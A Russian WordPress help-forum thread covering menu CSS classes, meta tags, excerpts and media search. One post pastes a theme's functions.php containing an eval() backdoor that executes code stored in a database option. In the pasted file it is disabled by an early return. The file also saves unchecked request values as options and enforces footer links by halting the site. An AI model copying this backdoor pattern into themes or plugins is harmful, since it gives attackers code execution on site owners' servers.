Спрашиваем и отвечаем по Wordpress-7

Seredniy
На сайте с 17.03.2008
Offline
251
#651
wooop:
Здравствуйте, уважаемые пользователи серча.
Такой вопрос:
Как можно прописать мета-теги для рубрик, с помощью плагина all in seo pack. Также какие есть вообще варианты прописания мета-тегов для рубрик?

Вот рабочий вариант вроде http://www.wordpressplugins.ru/seo/category-seo-meta-tags.html

Wordpress и другие CMS: правки, настройка, верстка и натяжка шаблонов, разработка сайтов "под ключ" (/ru/forum/1008050)
L
На сайте с 28.08.2014
Offline
2
#652

Доброго времени суток! Помогите дилетанту, пожалуйста, решить проблему с классами меню.

Меню вывожу с помощью wp_nav_menu, естественно в тегах генерируется куча ненужных id и

классов. Задача убрать всё, кроме класса родителя, предка и текущей страницы.

В сети нашёл некоторые готовые решения, но в итоге всё-равно получается не то, что надо.

Для того, чтобы убрать лишние ID и классы:

1) Заменяю названия классов, генерируемых автоматически:

function replace_menu_css_class($text) {

$my_classes = array(
'menu-item' => '',
'-type-custom'=>'',
'-object-custom'=>'',
'-home'=>'',
'-type-post_type'=>'',
'-object-page'=>'',
'-has-children'=>'page-has-children',
'current-page-ancestor'=>'',
'current-menu-ancestor'=>'',
'current_page_parent'=>'current_parent',
'current-menu-parent'=>'',
'current_page_ancestor'=>'current_ancestor',
'-type-custom'=>'',
'-object-custom'=>'',
'current-'=> 'current-page',
);
$text = str_replace(array_keys($my_classes), $my_classes, $text);
return $text;
}
add_filter( 'nav_menu_css_class', 'replace_menu_css_class' );

2) Добавил новый класс Walker. Взял кастомный и просто удалил оттуда некоторые элементы таким образом:

- в этом куске удалил третью строчку, которая, как я понял отвечает за вывод класса menu-item-ID страницы

/* Генерируем строку с CSS-классами элемента меню*/

$class_names = $value = '';
$classes = empty( $item->classes ) ? array() : (array) $item->classes;
$classes[] = 'menu-item-' . $item->ID;

- полностью удалил кусок, отвечающий за генерацию ID

		/* Генерируем ID элемента*/

$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args );
$id = strlen( $id ) ? ' id="' . esc_attr( $id ) . '"' : '';

- в этом куске удалил . $id, чтобы исключить вывод ID тега <li>

		/* Генерируем элемент меню */

$output .= $indent . '<li' . $id . $value . $class_names .'>';

В итоге получилось так:

class True_Walker_Nav_Menu extends Walker_Nav_Menu {

/**
* @see Walker::start_el()
* @since 3.0.0
*
* @param string $output
* @param object $item Объект элемента меню, подробнее ниже.
* @param int $depth Уровень вложенности элемента меню.
* @param object $args Параметры функции wp_nav_menu
*/
function start_el(&$output, $item, $depth, $args) {
global $wp_query;

$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

/*
* Генерируем строку с CSS-классами элемента меню
*/
$class_names = $value = '';
$classes = empty( $item->classes ) ? array() : (array) $item->classes;

// функция join превращает массив в строку
$class_names = join(' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) );
$class_names = ' class="' . esc_attr( $class_names ) . '"';

/*
* Генерируем элемент меню
*/
$output .= $indent . '<li' . $value . $class_names .'>';

// атрибуты элемента, title="", rel="", target="" и href=""
$attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : '';
$attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : '';
$attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : '';
$attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : '';

// ссылка и околоссылочный текст
$item_output = $args->before;
$item_output .= '<a'. $attributes .'>';
$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;

$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}

HTML получается почти правильный

<ul id=menu><li class="      current_parent current_ancestor page-has-children"><a href="адрес">Заголовок</a>

<ul class="sub-menu">
<li class=" current-page"><a href="адрес">Заголовок</a></li>
<li class=" "><a href="адрес">Заголовок</a></li>
<li class=" "><a href="адрес">Заголовок</a></li>
<li class=" "><a href="адрес">Заголовок</a></li>
</ul>
</li>
</ul>

Не устраивает то, что при отсутствии класса у тега <li> остаётся <li class=" ">, т.е. цель убрать class=" ", если у <li> нет класса и убрать пробелы после первой кавычки, если <li> имеет классы.

Понимаю, что где-то в этой части кода надо править

// функция join превращает массив в строку

$class_names = join(' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) );
$class_names = ' class="' . esc_attr( $class_names ) . '"';

Но как сделать не знаю.

Может у кого-то есть решение по этому вопросу? Спасибо.

J
На сайте с 20.02.2014
Offline
120
jkm
#653

Удалить пустые элементы из массива перед тем как использовать join.

После вызова join проверять что строка непустая.


$classes = apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args );
$class_names = join(' ', array_diff( $classes, array('') );
$class_names = empty($class_names) ? '' : ' class="' . esc_attr( $class_names ) . '"';


---------- Добавлено 17.09.2014 в 08:07 ----------

Либо использовать trim


$class_names = trim( join(' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) ) );
$class_names = empty($class_names) ? '' : ' class="' . esc_attr( $class_names ) . '"';
O
На сайте с 30.08.2009
Offline
65
#654

Что необходимо поправить в этом файле функций ,что бы не выводилась картинка из записи. Дело в том, что в некоторых записях требуется в самом начале сообщения установить крупную картинку. При данных настройках на главной выводится и текст сообщения вместе с картинкой и миниатюра записи. Миниатюру надо оставить, а выводить только текст без картинки. Вот код файла functions.php

<?php


//add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
return $content;

global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
function cats_to_select()
{
$categories = get_categories('hide_empty=0');
$categories_array[] = array('value'=>'0', 'title'=>'Select');
foreach ($categories as $cat) {
if($cat->category_count == '0') {
$posts_title = 'No posts!';
} elseif($cat->category_count == '1') {
$posts_title = '1 post';
} else {
$posts_title = $cat->category_count . ' posts';
}
$categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
}
return $categories_array;
}

function mytheme_add_admin() {
global $themename, $shortname, $options;

if ( $_GET['page'] == basename(__FILE__) ) {

if ( 'save' == $_REQUEST['action'] ) {

foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }

echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
die;

}
}

add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
if (!empty($_REQUEST["theme_license"])) { theme_usage_message(); exit(); } function theme_usage_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:10px; margin: 10px; text-align:center; border: 2px dashed Red; font-family:arial; font-weight:bold; background: #fff; color: #000;\">This theme is released free for use under creative commons licence. All links in the footer should remain intact. These links are all family friendly and will not hurt your site in any way. This great theme is brought to you for free by these supporters.</p>"); } }

function mytheme_admin_init() {

global $themename, $shortname, $options;

$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<br />'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { theme_usage_message(); die; } } } check_theme_footer();


if(!function_exists('get_sidebars')) {
function get_sidebars($args='')
{
check_theme_header();
get_sidebar($args);
}
}


function mytheme_admin() {

global $themename, $shortname, $options;

if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';

?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {

switch ( $value['type'] ) {

case "open":
?>
<table width="100%" border="0" style=" padding:10px;">



<?php break;

case "close":
?>

</table><br />


<?php break;

case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>


<?php break;

case 'text':
?>

<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case 'textarea':
?>

<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>

</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%">
<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php
foreach ($value['options'] as $option) { ?>
<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
<?php } ?>
</select>
</td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case "checkbox":
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
</td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php break;


}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
global $pagenow;
if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
wp_redirect( admin_url('themes.php?page=functions.php') );
exit();
}
function check_theme_header() { if (!(function_exists("functions_file_exists") && function_exists("theme_footer_t"))) { theme_usage_message(); die; } }
add_action('admin_menu', 'mytheme_add_admin');


?>
L
На сайте с 28.08.2014
Offline
2
#655
jkm:
Удалить пустые элементы из массива перед тем как использовать join.
После вызова join проверять что строка непустая.

$classes = apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args );
$class_names = join(' ', array_diff( $classes, array('') );
$class_names = empty($class_names) ? '' : ' class="' . esc_attr( $class_names ) . '"';

Это не работает, указывает на неправильную ";" во второй строке.

Нашёл ошибку - не хватало закрывающей скобки. Всё заработало.

jkm:
Либо использовать trim

$class_names = trim( join(' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) ) );
$class_names = empty($class_names) ? '' : ' class="' . esc_attr( $class_names ) . '"';

Этот вариант тоже работает. СПАСИБО ОГРОМНОЕ! То что нужно. 😂

ЗЫ: а что лучше использовать? Чем-то отличаются решения?

Щ
На сайте с 04.07.2012
Offline
35
#656

Использую галерею изображений для публикации картинок(миниатюры) в статьях. При переходе (если знать id) на страницу site.ru/?attachment_id=xxx - открывается кривая запись с картинкой. Можно ли отключить эти ссылки (/?attachment_id=xxx), либо сделать редирект на статью с этим вложением?

AshtonLex
На сайте с 09.08.2014
Offline
3
#657
ollleup:
Что необходимо поправить в этом файле функций ,что бы не выводилась картинка из записи. Дело в том, что в некоторых записях требуется в самом начале сообщения установить крупную картинку. При данных настройках на главной выводится и текст сообщения вместе с картинкой и миниатюра записи. Миниатюру надо оставить, а выводить только текст без картинки. Вот код файла functions.php

Смотрите home.php или index.php, а так же погуглите 3 строчку приведенного Вами кода.

Специалист по WordPress и phpBB
O
На сайте с 30.08.2009
Offline
65
#658

index.php выводит такую конструкцию

<?php the_content('<strong>Читать далее &raquo;</strong>'); ?>

Я так понимаю, что за снятие картинки в анонсе отвечает $stripteaser, вот как его правильно прописать в functions.php ?

F2
На сайте с 01.04.2008
Offline
110
#659

Есть проблема, при добавлении изображения к статье есть поле "Поиск" но там ничего не находит, даже если при добавлении самой картинки я заполняю все поля. Кто может что посоветовать, возможно какой-то дополнительный плагин. Потому, что у многих статей есть общие изображения и не очень удобно к сентябрьской статье искать изображение загруженное в мае

S3
На сайте с 29.03.2012
Online
328
#660
ollleup:
index.php выводит такую конструкцию
<?php the_content('<strong>Читать далее &raquo;</strong>'); ?>

Я так понимаю, что за снятие картинки в анонсе отвечает $stripteaser, вот как его правильно прописать в functions.php ?

Не изобретайте велосипед, используйте the_excerpt() вместо the_content()

---------- Добавлено 18.09.2014 в 15:00 ----------

flint2000:
Есть проблема, при добавлении изображения к статье есть поле "Поиск" но там ничего не находит, даже если при добавлении самой картинки я заполняю все поля. Кто может что посоветовать, возможно какой-то дополнительный плагин. Потому, что у многих статей есть общие изображения и не очень удобно к сентябрьской статье искать изображение загруженное в мае

Ищет по названию картинки. Если у вас при записи идет кодировка названия- то ничего не найдет или так и ищите lfkfyvh000df.*** 😂

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий